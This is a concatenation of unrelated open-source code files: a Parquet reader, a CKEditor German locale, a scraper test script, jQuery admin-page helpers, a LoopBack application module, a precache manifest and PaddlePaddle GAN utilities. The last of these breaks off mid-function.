disableEnvelope: true
});
} else {
rLevels.fill(0);
}
/* read definition levels */
let dLevels = new Array(valueCount);
if (opts.dLevelMax > 0) {
dLevels = decodeValues(
PARQUET_RDLVL_TYPE,
PARQUET_RDLVL_ENCODING,
cursor,
valueCount,
{
bitWidth: parquet_util.getBitWidth(opts.dLevelMax),
disableEnvelope: true
});
} else {
dLevels.fill(0);
}
/* read values */
let valuesBufCursor = cursor;
if (header.data_page_header_v2.is_compressed) {
let valuesBuf = parquet_compression.inflate(
opts.compression,
cursor.buffer.slice(cursor.offset, cursorEnd));
valuesBufCursor = {
buffer: valuesBuf,
offset: 0,
size: valuesBuf.length
};
cursor.offset = cursorEnd;
}
let values = decodeValues(
opts.type,
valueEncoding,
valuesBufCursor,
valueCountNonNull,
{
typeLength: opts.column.typeLength,
bitWidth: opts.column.typeLength
});
return {
dlevels: dLevels,
rlevels: rLevels,
values: values,
count: valueCount
};
}
function decodeSchema(schemaElements) {
let schema = {};
for (let idx = 0; idx < schemaElements.length; ) {
const schemaElement = schemaElements[idx];
let repetitionType = parquet_util.getThriftEnum(
parquet_thrift.FieldRepetitionType,
schemaElement.repetition_type);
let optional = false;
let repeated = false;
switch (repetitionType) {
case 'REQUIRED':
break;
case 'OPTIONAL':
optional = true;
break;
case 'REPEATED':
repeated = true;
break;
};
if (schemaElement.num_children > 0) {
schema[schemaElement.name] = {
optional: optional,
repeated: repeated,
fields: decodeSchema(
schemaElements.slice(idx + 1, idx + 1 + schemaElement.num_children))
};
} else {
let logicalType = parquet_util.getThriftEnum(
parquet_thrift.Type,
schemaElement.type);
if (schemaElement.converted_type != null) {
logicalType = parquet_util.getThriftEnum(
parquet_thrift.ConvertedType,
schemaElement.converted_type);
}
schema[schemaElement.name] = {
type: logicalType,
typeLength: schemaElement.type_length,
optional: optional,
repeated: repeated
};
}
idx += (schemaElement.num_children || 0) + 1;
}
return schema;
}
module.exports = {
ParquetEnvelopeReader,
ParquetReader,
};
|
/*
Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
CKEDITOR.plugins.setLang( 'toolbar', 'de', {
toolbarCollapse: 'Werkzeugleiste einklappen',
toolbarExpand: 'Werkzeugleiste ausklappen',
toolbarGroups: {
document: 'Dokument',
clipboard: 'Zwischenablage/Rückgängig',
editing: 'Editieren',
forms: 'Formulare',
basicstyles: 'Grundstile',
paragraph: 'Absatz',
links: 'Links',
insert: 'Einfügen',
styles: 'Stile',
colors: 'Farben',
tools: 'Werkzeuge'
},
toolbars: 'Editor Werkzeugleisten'
} );
|
import sys
sys.path.append('/home/ubuntu/Python_Workspace/SJTB/')
from tools.box.downloadBook.spyder import aszwParser
from tools.box.downloadBook.db import dbController
def testInsertBook():
chapters=[{'chapter_name':'第一章','chapter_url':'https://www.23zw.me/olread/68/68913/c10f9c35044ae520694a837c12ecf81e.html'},
{'chapter_name':'第二章','chapter_url':'https://www.23zw.me/olread/68/68913/6e872de41acaf237553a93d84b7d4edb.html'}]
book={}
book['name']="第一本书"
book['category']='默认'
book['auth']='张杰'
book['create_date']=''
book['wordage']=660000
book['book_url']='http://www.23zw.me/olread/68/68913/'
book['chapters']=chapters
dbC= dbController.dbc('bookwarehouse')
dbC.insetBook(book)
def testfind_section_urls():
url='https://www.23zw.me/olread/79/79709/index.html'
parser= aszwParser.aszwParser()
parser.find_section_urls(url)
def testInitDatabase():
dbC= dbController.dbc('bookwarehouse')
dbC.initDatebase()
def testAddAccount():
dbC=dbController.dbc('bookwarehouse')
dbC.addAccount({'name':'sujie1997','password':'sujie1997','source':1})
def testInitCookies():
dbC = dbController.dbc('bookwarehouse')
dbC.initCookies()
def testGetCookies():
dbC = dbController.dbc('bookwarehouse')
for cookie in dbC.getCookies():
print(cookie)
if __name__ == '__main__':
# testInsertBook()
# testfind_section_urls()
testInitDatabase()
# testAddAccount()
# testInitCookies()
# testGetCookies()
|
// JavaScript Document
//Image Upload Script
$(document).ready(function () {
$(document).on('change', '.btn-file :file', function () {
var input = $(this),
label = input.val().replace(/\\/g, '/').replace(/.*\//, '');
input.trigger('fileselect', [label]);
});
$('.btn-file :file').on('fileselect', function (event, label) {
var input = $(this).parents('.input-group').find(':text'),
log = label;
if (input.length) {
input.val(log);
} else {
if (log)
alert(log);
}
});
function readURL(input) {
if (input.files && input.files[0]) {
var reader = new FileReader();
reader.onload = function (e) {
$('#img-upload').attr('src', e.target.result);
}
reader.readAsDataURL(input.files[0]);
}
}
$("#imgInp").change(function () {
readURL(this);
});
});
//Success and Error Message Timeout Code Start
setTimeout(function() {
$('.alertsuccess').slideUp(1000);
},5000);
setTimeout(function() {
$('.alerterror').slideUp(1000);
},10000);
//Datepicker setting code start
$(function(){
$('#income_date').datepicker({
autoclose: true,
format: 'yyyy-mm-dd',
todayHighlight: true
});
$('#datepickerForm').datepicker({
autoclose: true,
format: 'yyyy-mm-dd',
todayHighlight: true
});
$('#datepickerTo').datepicker({
autoclose: true,
format: 'yyyy-mm-dd',
todayHighlight: true
});
$('#datepicker_one').datepicker({
autoclose: true,
format: 'yyyy-mm-dd',
todayHighlight: true
});
$('#datepicker_two').datepicker({
autoclose: true,
format: 'yyyy-mm-dd',
todayHighlight: true
});
$('.datepicker_date').datepicker({
autoclose: true,
format: 'yyyy-mm-dd',
todayHighlight: true
});
$('.datepicker_redate').datepicker({
autoclose: true,
format: 'yyyy-mm-dd',
todayHighlight: true
});
});
//Data Table code start
$(document).ready(function(){
$('#inexsummary').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
"order": [[ 0, "desc" ]],
});
$('#seveendayreport').DataTable({
"paging": false,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": false,
"autoWidth": false,
"order": [[ 0, "desc" ]],
});
$('#allloanerinfo').DataTable({
"paging": true,
"lengthChange": true,
"searching": true,
"ordering": true,
"info": true,
"autoWidth": false
});
$('#alltableinfo').DataTable({
"paging": true,
"lengthChange": true,
"searching": true,
"ordering": true,
"info": true,
"autoWidth": false
});
$('#loanerstatus').DataTable({
"paging": false,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": false,
"autoWidth": false,
"order": [[ 0, "desc" ]],
});
$('#allTableDesc').DataTable({
"paging": true,
"lengthChange": true,
"searching": true,
"ordering": true,
"order": [[ 0, "desc" ]],
"info": true,
"autoWidth": false
});
});
//Modal code start
$(document).ready(function(){
$(document).on("click", "#softDelete", function () {
var deleteID = $(this).data('id');
$(".modal-body #modal_id").val( deleteID );
});
});
|
<Foo></Foo>;
<div></div>;
|
/*!
* Module dependencies.
*/
var DataSource = require('loopback-datasource-juggler').DataSource
, registry = require('./registry')
, compat = require('./compat')
, assert = require('assert')
, fs = require('fs')
, extend = require('util')._extend
, _ = require('underscore')
, RemoteObjects = require('strong-remoting')
, swagger = require('strong-remoting/ext/swagger')
, stringUtils = require('underscore.string')
, path = require('path');
/**
* The `App` object represents a Loopback application.
*
* The App object extends [Express](http://expressjs.com/api.html#express) and
* supports
* [Express / Connect middleware](http://expressjs.com/api.html#middleware). See
* [Express documentation](http://expressjs.com/api.html) for details.
*
* ```js
* var loopback = require('loopback');
* var app = loopback();
*
* app.get('/', function(req, res){
* res.send('hello world');
* });
*
* app.listen(3000);
* ```
*
* @class LoopBackApplication
* @header var app = loopback()
*/
function App() {
// this is a dummy placeholder for jsdox
}
/*!
* Export the app prototype.
*/
var app = exports = module.exports = {};
/**
* Lazily load a set of [remote objects](http://apidocs.strongloop.com/strong-remoting/#remoteobjectsoptions).
*
* **NOTE:** Calling `app.remotes()` more than once returns only a single set of remote objects.
* @returns {RemoteObjects}
*/
app.remotes = function () {
if(this._remotes) {
return this._remotes;
} else {
var options = {};
if(this.get) {
options = this.get('remoting');
}
return (this._remotes = RemoteObjects.create(options));
}
}
/*!
* Remove a route by reference.
*/
app.disuse = function (route) {
if(this.stack) {
for (var i = 0; i < this.stack.length; i++) {
if(this.stack[i].route === route) {
this.stack.splice(i, 1);
}
}
}
}
/**
* Attach a model to the app. The `Model` will be available on the
* `app.models` object.
*
* ```js
* // Attach an existing model
* var User = loopback.User;
* app.model(User);
*
* // Attach an existing model, alter some aspects of the model
* var User = loopback.User;
* app.model(User, { dataSource: 'db' });
*
* // The old way: create and attach a new model (deprecated)
* var Widget = app.model('Widget', {
* dataSource: 'db',
* properties: {
* name: 'string'
* }
* });
* ```
*
* @param {Object|String} Model The model to attach.
* @options {Object} config The model's configuration.
* @property {String|DataSource} dataSource The `DataSource` to which to
* attach the model.
* @property {Boolean} [public] whether the model should be exposed via REST API
* @property {Object} [relations] relations to add/update
* @end
* @returns {ModelConstructor} the model class
*/
app.model = function (Model, config) {
var isPublic = true;
if (arguments.length > 1) {
config = config || {};
if (typeof Model === 'string') {
// create & attach the model - backwards compatibility
// create config for loopback.modelFromConfig
var modelConfig = extend({}, config);
modelConfig.options = extend({}, config.options);
modelConfig.name = Model;
// modeller does not understand `dataSource` option
delete modelConfig.dataSource;
Model = registry.createModel(modelConfig);
// delete config options already applied
['relations', 'base', 'acls', 'hidden'].forEach(function(prop) {
delete config[prop];
if (config.options) delete config.options[prop];
});
delete config.properties;
}
configureModel(Model, config, this);
isPublic = config.public !== false;
} else {
assert(Model.prototype instanceof registry.Model,
'Model must be a descendant of loopback.Model');
}
var modelName = Model.modelName;
this.models[modelName] =
this.models[classify(modelName)] =
this.models[camelize(modelName)] = Model;
this.models().push(Model);
if (isPublic) {
var remotingClassName = compat.getClassNameForRemoting(Model);
this.remotes().exports[remotingClassName] = Model;
clearHandlerCache(this);
}
Model.shared = isPublic; // The base Model has shared = true
Model.app = this;
Model.emit('attached', this);
return Model;
};
/**
* Get the models exported by the app. Returns only models defined using `app.model()`
*
* **Deprecated. Use the package
* [loopback-boot](https://github.com/strongloop/loopback-boot) instead.**
* There are two ways to access models:
*
* 1. Call `app.models()` to get a list of all models.
*
* ```js
* var models = app.models();
*
* models.forEach(function (Model) {
* console.log(Model.modelName); // color
* });
* ```
*
* **2. Use `app.model` to access a model by name.
* `app.model` has properties for all defined models.
*
* The following example illustrates accessing the `Product` and `CustomerReceipt` models
* using the `models` object.
*
* ```js
* var loopback = require('loopback');
* var app = loopback();
* app.boot({
* dataSources: {
* db: {connector: 'memory'}
* }
* });
*
* app.model('product', {dataSource: 'db'});
* app.model('customer-receipt', {dataSource: 'db'});
*
* // available based on the given name
* var Product = app.models.Product;
*
* // also available as camelCase
* var product = app.models.product;
*
* // multi-word models are avaiable as pascal cased
* var CustomerReceipt = app.models.CustomerReceipt;
*
* // also available as camelCase
* var customerReceipt = app.models.customerReceipt;
* ```
*
* @returns {Array} Array of model classes.
*/
app.models = function () {
return this._models || (this._models = []);
}
/**
* Define a DataSource.
*
* @param {String} name The data source name
* @param {Object} config The data source config
*/
app.dataSource = function (name, config) {
this.dataSources[name] =
this.dataSources[classify(name)] =
this.dataSources[camelize(name)] =
dataSourcesFromConfig(config, this.connectors);
}
/**
* Register a connector.
*
* When a new data-source is being added via `app.dataSource`, the connector
* name is looked up in the registered connectors first.
*
* Connectors are required to be explicitly registered only for applications
* using browserify, because browserify does not support dynamic require,
* which is used by LoopBack to automatically load the connector module.
*
* @param {String} name Name of the connector, e.g. 'mysql'.
* @param {Object} connector Connector object as returned
* by `require('loopback-connector-{name}')`.
*/
app.connector = function(name, connector) {
this.connectors[name] =
this.connectors[classify(name)] =
this.connectors[camelize(name)] = connector;
};
/**
* Get all remote objects.
* @returns {Object} [Remote objects](http://apidocs.strongloop.com/strong-remoting/#remoteobjectsoptions).
*/
app.remoteObjects = function () {
var result = {};
var models = this.models();
// add in models
models.forEach(function (ModelCtor) {
// only add shared models
if(ModelCtor.shared && typeof ModelCtor.sharedCtor === 'function') {
result[compat.getClassNameForRemoting(ModelCtor)] = ModelCtor;
}
});
return result;
}
/**
* Enable swagger REST API documentation.
*
* **Note**: This method is deprecated. Use [loopback-explorer](http://npmjs.org/package/loopback-explorer) instead.
*
* **Options**
*
* - `basePath` The basepath for your API - eg. 'http://localhost:3000'.
*
* **Example**
*
* ```js
* // enable docs
* app.docs({basePath: 'http://localhost:3000'});
* ```
*
* Run your app then navigate to
* [the API explorer](http://petstore.swagger.wordnik.com/).
* Enter your API basepath to view your generated docs.
*
* @deprecated
*/
app.docs = function (options) {
var remotes = this.remotes();
swagger(remotes, options);
}
/*!
* Get a handler of the specified type from the handler cache.
*/
app.handler = function (type) {
var handlers = this._handlers || (this._handlers = {});
if(handlers[type]) {
return handlers[type];
}
var remotes = this.remotes();
var handler = this._handlers[type] = remotes.handler(type);
return handler;
}
/**
* An object to store dataSource instances.
*/
app.dataSources = app.datasources = {};
/**
* Enable app wide authentication.
*/
app.enableAuth = function() {
var remotes = this.remotes();
var app = this;
remotes.before('**', function(ctx, next, method) {
var req = ctx.req;
var Model = method.ctor;
var modelInstance = ctx.instance;
var modelId = modelInstance && modelInstance.id || req.param('id');
var modelSettings = Model.settings || {};
var errStatusCode = modelSettings.aclErrorStatus || app.get('aclErrorStatus') || 401;
if(!req.accessToken){
errStatusCode = 401;
}
if(Model.checkAccess) {
// Pause the request before checking access
// See https://github.com/strongloop/loopback-storage-service/issues/7
req.pause();
Model.checkAccess(
req.accessToken,
modelId,
method,
function(err, allowed) {
// Emit any cached data events that fired while checking access.
req.resume();
if(err) {
console.log(err);
next(err);
} else if(allowed) {
next();
} else {
var messages = {
403:'Access Denied',
404: ('could not find a model with id ' + modelId),
401:'Authorization Required'
};
var e = new Error(messages[errStatusCode] || messages[403]);
e.statusCode = errStatusCode;
next(e);
}
}
);
} else {
next();
}
});
this.isAuthEnabled = true;
};
/**
* Initialize an application from an options object or a set of JSON and JavaScript files.
*
* This function takes an optional argument that is either a string or an object.
*
* If the argument is a string, then it sets the application root directory based on the string value. Then it:
* 1. Creates DataSources from the `datasources.json` file in the application root directory.
* 2. Creates Models from the `models.json` file in the application root directory.
*
* If the argument is an object, then it looks for `model`, `dataSources`, and `appRootDir` properties of the object.
* If the object has no `appRootDir` property then it sets the current working directory as the application root directory.
* Then it:
* 1. Creates DataSources from the `options.dataSources` object.
* 2. Creates Models from the `options.models` object.
*
* In both cases, the function loads JavaScript files in the `/models` and `/boot` subdirectories of the application root directory with `require()`.
*
* **NOTE:** mixing `app.boot()` and `app.model(name, config)` in multiple
* files may result in models being **undefined** due to race conditions.
* To avoid this when using `app.boot()` make sure all models are passed as part of the `models` definition.
*
* Throws an error if the config object is not valid or if boot fails.
*
* <a name="model-definition"></a>
* **Model Definitions**
*
* The following is example JSON for two `Model` definitions: "dealership" and "location".
*
* ```js
* {
* "dealership": {
* // a reference, by name, to a dataSource definition
* "dataSource": "my-db",
* // the options passed to Model.extend(name, properties, options)
* "options": {
* "relations": {
* "cars": {
* "type": "hasMany",
* "model": "Car",
* "foreignKey": "dealerId"
* }
* }
* },
* // the properties passed to Model.extend(name, properties, options)
* "properties": {
* "id": {"id": true},
* "name": "String",
* "zip": "Number",
* "address": "String"
* }
* },
* "car": {
* "dataSource": "my-db"
* "properties": {
* "id": {
* "type": "String",
* "required": true,
* "id": true
* },
* "make": {
* "type": "String",
* "required": true
* },
* "model": {
* "type": "String",
* "required": true
* }
* }
* }
* }
* ```
* @options {String|Object} options Boot options; If String, this is the application root directory; if object, has below properties.
* @property {String} appRootDir Directory to use when loading JSON and JavaScript files (optional). Defaults to the current directory (`process.cwd()`).
* @property {Object} models Object containing `Model` definitions (optional).
* @property {Object} dataSources Object containing `DataSource` definitions (optional).
* @end
*
* @header app.boot([options])
*/
app.boot = function(options) {
options = options || {};
if(typeof options === 'string') {
options = {appRootDir: options};
}
var app = this;
var appRootDir = options.appRootDir = options.appRootDir || process.cwd();
var ctx = {};
var appConfig = options.app;
var modelConfig = options.models;
var dataSourceConfig = options.dataSources;
if(!appConfig) {
appConfig = tryReadConfig(appRootDir, 'app') || {};
}
if(!modelConfig) {
modelConfig = tryReadConfig(appRootDir, 'models') || {};
}
if(!dataSourceConfig) {
if (process.env.VCAP_APP_PORT == null) {
dataSourceConfig = tryReadConfig(appRootDir, 'datasources') || {};
}
else {
dataSourceConfig = tryReadConfig(appRootDir, 'datasourcesprod') || {};
// if (process.env.VCAP_SERVICES) {
// var env = JSON.parse(process.env.VCAP_SERVICES);
// var mongo = env['mongodb-2.2'][0].credentials;
// console.log(mongo);
// dataSourceConfig.mongodb.host = mongo.hostname;
// dataSourceConfig.mongodb.database = mongo.db;
// dataSourceConfig.mongodb.username = mongo.username;
// dataSourceConfig.mongodb.password = mongo.password;
// dataSourceConfig.mongodb.port = mongo.port;
// }
}
console.log(dataSourceConfig);
}
assertIsValidConfig('app', appConfig);
assertIsValidConfig('model', modelConfig);
assertIsValidConfig('data source', dataSourceConfig);
appConfig.host =
process.env.npm_config_host ||
process.env.OPENSHIFT_SLS_IP ||
process.env.OPENSHIFT_NODEJS_IP ||
process.env.HOST ||
appConfig.host ||
process.env.npm_package_config_host ||
app.get('host');
appConfig.port = _.find([
process.env.npm_config_port,
process.env.OPENSHIFT_SLS_PORT,
process.env.OPENSHIFT_NODEJS_PORT,
process.env.PORT,
appConfig.port,
process.env.npm_package_config_port,
app.get('port'),
3000
], _.isFinite);
appConfig.restApiRoot =
appConfig.restApiRoot ||
app.get('restApiRoot') ||
'/api';
if(appConfig.host !== undefined) {
assert(typeof appConfig.host === 'string', 'app.host must be a string');
app.set('host', appConfig.host);
}
if(appConfig.port !== undefined) {
var portType = typeof appConfig.port;
assert(portType === 'string' || portType === 'number', 'app.port must be a string or number');
app.set('port', appConfig.port);
}
assert(appConfig.restApiRoot !== undefined, 'app.restApiRoot is required');
assert(typeof appConfig.restApiRoot === 'string', 'app.restApiRoot must be a string');
assert(/^\//.test(appConfig.restApiRoot), 'app.restApiRoot must start with "/"');
app.set('restApiRoot', appConfig.restApiRoot);
for(var configKey in appConfig) {
var cur = app.get(configKey);
if(cur === undefined || cur === null) {
app.set(configKey, appConfig[configKey]);
}
}
// instantiate data sources
forEachKeyedObject(dataSourceConfig, function(key, obj) {
app.dataSource(key, obj);
});
// instantiate models
forEachKeyedObject(modelConfig, function(key, obj) {
app.model(key, obj);
});
// try to attach models to dataSources by type
try {
registry.autoAttach();
} catch(e) {
if(e.name === 'AssertionError') {
console.warn(e);
} else {
throw e;
}
}
// disable token requirement for swagger, if available
var swagger = app.remotes().exports.swagger;
var requireTokenForSwagger = appConfig.swagger
&& appConfig.swagger.requireToken;
if(swagger) {
swagger.requireToken = requireTokenForSwagger || false;
}
// require directories
var requiredModels = requireDir(path.join(appRootDir, 'models'));
var requiredBootScripts = requireDir(path.join(appRootDir, 'boot'));
}
function assertIsValidConfig(name, config) {
if(config) {
assert(typeof config === 'object', name + ' config must be a valid JSON object');
}
}
function forEachKeyedObject(obj, fn) {
if(typeof obj !== 'object') return;
Object.keys(obj).forEach(function(key) {
fn(key, obj[key]);
});
}
function classify(str) {
return stringUtils.classify(str);
}
function camelize(str) {
return stringUtils.camelize(str);
}
function dataSourcesFromConfig(config, connectorRegistry) {
var connectorPath;
assert(typeof config === 'object',
'cannont create data source without config object');
if(typeof config.connector === 'string') {
var name = config.connector;
if (connectorRegistry[name]) {
config.connector = connectorRegistry[name];
} else {
connectorPath = path.join(__dirname, 'connectors', name + '.js');
if (fs.existsSync(connectorPath)) {
config.connector = require(connectorPath);
}
}
}
return registry.createDataSource(config);
}
function configureModel(ModelCtor, config, app) {
assert(ModelCtor.prototype instanceof registry.Model,
'Model must be a descendant of loopback.Model');
var dataSource = config.dataSource;
if(typeof dataSource === 'string') {
dataSource = app.dataSources[dataSource];
}
assert(dataSource instanceof DataSource,
ModelCtor.modelName + ' is referencing a dataSource that does not exist: "' +
config.dataSource +'"');
config = extend({}, config);
config.dataSource = dataSource;
registry.configureModel(ModelCtor, config);
}
function requireDir(dir, basenames) {
assert(dir, 'cannot require directory contents without directory name');
var requires = {};
if (arguments.length === 2) {
// if basenames argument is passed, explicitly include those files
basenames.forEach(function (basename) {
var filepath = Path.resolve(Path.join(dir, basename));
requires[basename] = tryRequire(filepath);
});
} else if (arguments.length === 1) {
// if basenames arguments isn't passed, require all javascript
// files (except for those prefixed with _) and all directories
var files = tryReadDir(dir);
// sort files in lowercase alpha for linux
files.sort(function (a,b) {
a = a.toLowerCase();
b = b.toLowerCase();
if (a < b) {
return -1;
} else if (b < a) {
return 1;
} else {
return 0;
}
});
files.forEach(function (filename) {
// ignore index.js and files prefixed with underscore
if ((filename === 'index.js') || (filename[0] === '_')) { return; }
var filepath = path.resolve(path.join(dir, filename));
var ext = path.extname(filename);
var stats = fs.statSync(filepath);
// only require files supported by require.extensions (.txt .md etc.)
if (stats.isFile() && !(ext in require.extensions)) { return; }
var basename = path.basename(filename, ext);
requires[basename] = tryRequire(filepath);
});
}
return requires;
};
function tryRequire(modulePath) {
try {
return require.apply(this, arguments);
} catch(e) {
console.error('failed to require "%s"', modulePath);
throw e;
}
}
function tryReadDir() {
try {
return fs.readdirSync.apply(fs, arguments);
} catch(e) {
return [];
}
}
function tryReadConfig(cwd, fileName) {
try {
return require(path.join(cwd, fileName + '.json'));
} catch(e) {
if(e.code !== "MODULE_NOT_FOUND") {
throw e;
}
}
}
function clearHandlerCache(app) {
app._handlers = undefined;
}
/*!
* This function is now deprecated.
* Install all express middleware required by LoopBack.
*
* It is possible to inject your own middleware by listening on one of the
* following events:
*
* - `middleware:preprocessors` is emitted after all other
* request-preprocessing middleware was installed, but before any
* request-handling middleware is configured.
*
* Usage:
* ```js
* app.once('middleware:preprocessors', function() {
* app.use(loopback.limit('5.5mb'))
* });
* ```
* - `middleware:handlers` is emitted when it's time to add your custom
* request-handling middleware. Note that you should not install any
* express routes at this point (express routes are discussed later).
*
* Usage:
* ```js
* app.once('middleware:handlers', function() {
* app.use('/admin', adminExpressApp);
* app.use('/custom', function(req, res, next) {
* res.send(200, { url: req.url });
* });
* });
* ```
* - `middleware:error-loggers` is emitted at the end, before the loopback
* error handling middleware is installed. This is the point where you
* can install your own middleware to log errors.
*
* Notes:
* - The middleware function must take four parameters, otherwise it won't
* be called by express.
*
* - It should also call `next(err)` to let the loopback error handler convert
* the error to an HTTP error response.
*
* Usage:
* ```js
* var bunyan = require('bunyan');
* var log = bunyan.createLogger({name: "myapp"});
* app.once('middleware:error-loggers', function() {
* app.use(function(err, req, res, next) {
* log.error(err);
* next(err);
* });
* });
* ```
*
* Express routes should be added after `installMiddleware` was called.
* This way the express router middleware is injected at the right place in the
* middleware chain. If you add an express route before calling this function,
* bad things will happen: Express will automatically add the router
* middleware and since we haven't added request-preprocessing middleware like
* cookie & body parser yet, your route handlers will receive raw unprocessed
* requests.
*
* This is the correct order in which to call `app` methods:
* ```js
* app.boot(__dirname); // optional
*
* app.installMiddleware();
*
* // [register your express routes here]
*
* app.listen();
* ```
*/
app.installMiddleware = function() {
var loopback = require('../');
/*
* Request pre-processing
*/
this.use(loopback.favicon());
// TODO(bajtos) refactor to app.get('loggerFormat')
var loggerFormat = this.get('env') === 'development' ? 'dev' : 'default';
this.use(loopback.logger(loggerFormat));
this.use(loopback.cookieParser(this.get('cookieSecret')));
this.use(loopback.token({ model: this.models.accessToken }));
this.use(loopback.bodyParser());
this.use(loopback.methodOverride());
// Allow the app to install custom preprocessing middleware
this.emit('middleware:preprocessors');
/*
* Request handling
*/
// LoopBack REST transport
this.use(this.get('restApiRoot') || '/api', loopback.rest());
// Allow the app to install custom request handling middleware
this.emit('middleware:handlers');
// Let express routes handle requests that were not handled
// by any of the middleware registered above.
// This way LoopBack REST and API Explorer take precedence over
// express routes.
this.use(this.router);
// The static file server should come after all other routes
// Every request that goes through the static middleware hits
// the file system to check if a file exists.
this.use(loopback.static(path.join(__dirname, 'public')));
// Requests that get this far won't be handled
// by any middleware. Convert them into a 404 error
// that will be handled later down the chain.
this.use(loopback.urlNotFound());
/*
* Error handling
*/
// Allow the app to install custom error logging middleware
this.emit('middleware:error-handlers');
// The ultimate error handler.
this.use(loopback.errorHandler());
};
/**
* Listen for connections and update the configured port.
*
* When there are no parameters or there is only one callback parameter,
* the server will listen on `app.get('host')` and `app.get('port')`.
*
* ```js
* // listen on host/port configured in app config
* app.listen();
* ```
*
* Otherwise all arguments are forwarded to `http.Server.listen`.
*
* ```js
* // listen on the specified port and all hosts, ignore app config
* app.listen(80);
* ```
*
* The function also installs a `listening` callback that calls
* `app.set('port')` with the value returned by `server.address().port`.
* This way the port param contains always the real port number, even when
* listen was called with port number 0.
*
* @param {Function} cb If specified, the callback is added as a listener
* for the server's "listening" event.
* @returns {http.Server} A node `http.Server` with this application configured
* as the request handler.
*/
app.listen = function(cb) {
var self = this;
var server = require('http').createServer(this);
server.on('listening', function() {
self.set('port', this.address().port);
});
var useAppConfig =
arguments.length == 0 ||
(arguments.length == 1 && typeof arguments[0] == 'function');
if (useAppConfig) {
server.listen(this.get('port'), this.get('host'), cb);
} else {
server.listen.apply(server, arguments);
}
return server;
}
|
self.__precacheManifest = [
{
"revision": "229c360febb4351a89df",
"url": "/static/js/runtime~main.229c360f.js"
},
{
"revision": "39a03572cc56ff769f2f",
"url": "/static/js/main.39a03572.chunk.js"
},
{
"revision": "cc13f4348df39563a1e2",
"url": "/static/js/1.cc13f434.chunk.js"
},
{
"revision": "39a03572cc56ff769f2f",
"url": "/static/css/main.696b6a7e.chunk.css"
},
{
"revision": "cc13f4348df39563a1e2",
"url": "/static/css/1.79f93bb2.chunk.css"
},
{
"revision": "a4af47febc941e72a9ab102701a0255c",
"url": "/index.html"
}
];
|
#copyright (c) 2019 PaddlePaddle Authors. All Rights Reserve.
#
#Licensed under the Apache License, Version 2.0 (the "License");
#you may not use this file except in compliance with the License.
#You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#Unless required by applicable law or agreed to in writing, software
#distributed under the License is distributed on an "AS IS" BASIS,
#WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#See the License for the specific language governing permissions and
#limitations under the License.
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import paddle.fluid as fluid
import os
import sys
import math
import distutils.util
import numpy as np
import inspect
import matplotlib
import six
matplotlib.use('agg')
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
import copy
from PIL import Image
img_dim = 28
def plot(gen_data):
pad_dim = 1
paded = pad_dim + img_dim
gen_data = gen_data.reshape(gen_data.shape[0], img_dim, img_dim)
n = int(math.ceil(math.sqrt(gen_data.shape[0])))
gen_data = (np.pad(
gen_data, [[0, n * n - gen_data.shape[0]], [pad_dim, 0], [pad_dim, 0]],
'constant').reshape((n, n, paded, paded)).transpose((0, 2, 1, 3))
.reshape((n * paded, n * paded)))
fig = plt.figure(figsize=(8, 8))
plt.axis('off')
plt.imshow(gen_data, cmap='Greys_r', vmin=-1, vmax=1)
return fig
def checkpoints(epoch, cfg, exe, trainer, name):
output_path = os.path.join(cfg.output, 'checkpoints', str(epoch))
if not os.path.exists(output_path):
os.makedirs(output_path)
fluid.io.save_persistables(
exe, os.path.join(output_path, name), main_program=trainer.program)
print('save checkpoints {} to {}'.format(name, output_path))
sys.stdout.flush()
def init_checkpoints(cfg, exe, trainer, name):
assert os.path.exists(cfg.init_model), "{} cannot be found.".format(
cfg.init_model)
fluid.io.load_persistables(
exe, os.path.join(cfg.init_model, name), main_program=trainer.program)
print('load checkpoints {} {} DONE'.format(cfg.init_model, name))
sys.stdout.flush()
### the initialize checkpoint is one file named checkpoint.pdparams
def init_from_checkpoint(args, exe, trainer, name):
if not os.path.exists(args.init_model):
raise Warning("the checkpoint path does not exist.")
return False
fluid.io.load_persistables(
executor=exe,
dirname=os.path.join(args.init_model, name),
main_program=trainer.program,
filename="checkpoint.pdparams")
print("finish initing model from checkpoint from %s" % (args.init_model))
return True
### save the parameters of generator to one file
def save_param(args, exe, program, dirname, var_name="generator"):
param_dir = os.path.join(args.output, 'infer_vars')
if not os.path.exists(param_dir):
os.makedirs(param_dir)
def _name_has_generator(var):
res = (fluid.io.is_parameter(var) and var.name.startswith(var_name))
print(var.name, res)
return res
fluid.io.save_vars(
exe,
os.path.join(param_dir, dirname),
main_program=program,
predicate=_name_has_generator,
filename="params.pdparams")
print("save parameters at %s" % (os.path.join(param_dir, dirname)))
return True
### save the checkpoint to one file
def save_checkpoint(epoch, args, exe, trainer, dirname):
checkpoint_dir = os.path.join(args.output, 'checkpoints', str(epoch))
if not os.path.exists(checkpoint_dir):
os.makedirs(checkpoint_dir)
fluid.io.save_persistables(
exe,
os.path.join(checkpoint_dir, dirname),
main_program=trainer.program,
filename="checkpoint.pdparams")
print("save checkpoint at %s" % (os.path.join(checkpoint_dir, dirname)))
return True
def save_test_image(epoch,
cfg,
exe,
place,
test_program,
g_trainer,
A_test_reader,
B_test_reader=None,
A_id2name=None,
B_id2name=None):
out_path = os.path.join(cfg.output, 'test')
if not os.path.exists(out_path):
os.makedirs(out_path)
if cfg.model_net == "Pix2pix":
for data in A_test_reader():
A_data, B_data, image_name = data[0]['input_A'], data[0][
'input_B'], data[0]['image_name']
fake_B_temp = exe.run(test_program,
fetch_list=[g_trainer.fake_B],
feed={"input_A": A_data,
"input_B": B_data})
fake_B_temp = np.squeeze(fake_B_temp[0]).transpose([1, 2, 0])
input_A_temp = np.squeeze(np.array(A_data)[0]).transpose([1, 2, 0])
input_B_temp = np.squeeze(np.array(B_data)[0]).transpose([1, 2, 0])
fakeB_name = "fakeB_" + str(epoch) + "_" + A_id2name[np.array(
image_name).astype('int32')[0]]
inputA_name = "inputA_" + str(epoch) + "_" + A_id2name[np.array(
image_name).astype('int32')[0]]
inputB_name = "inputB_" + str(epoch) + "_" + A_id2name[np.array(
